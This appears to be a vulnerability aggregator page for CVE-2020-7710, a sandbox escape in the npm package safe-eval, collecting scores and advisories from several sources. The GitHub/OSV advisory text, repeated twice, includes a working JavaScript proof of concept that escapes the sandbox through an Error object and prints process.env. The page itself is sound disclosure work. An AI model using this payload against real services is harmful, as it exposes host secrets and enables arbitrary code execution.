CVE-2020-7710
Sandbox Escape
This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
Sandbox Escape
This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
- Record
CVE-2020-7710- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C - Updated
- 2026-11-02
EUVDEUVD-2020-0626
This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
- Record
EUVD-2020-0626- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-hrpq-r399-whgw
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
- Record
GHSA-hrpq-r399-whgw- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
- Record
CVE-2020-7710- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 7.5 High
AV:N/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-hrpq-r399-whgw
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
- Record
GHSA-hrpq-r399-whgw- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
safe-evalnpm |
through 0.4.1 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2020-7710 is a high vulnerability (CVSS 8.1) in Safe-eval Project Safe-eval, published August 21, 2020. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.43%, the 73rd percentile. No source names a fixed version.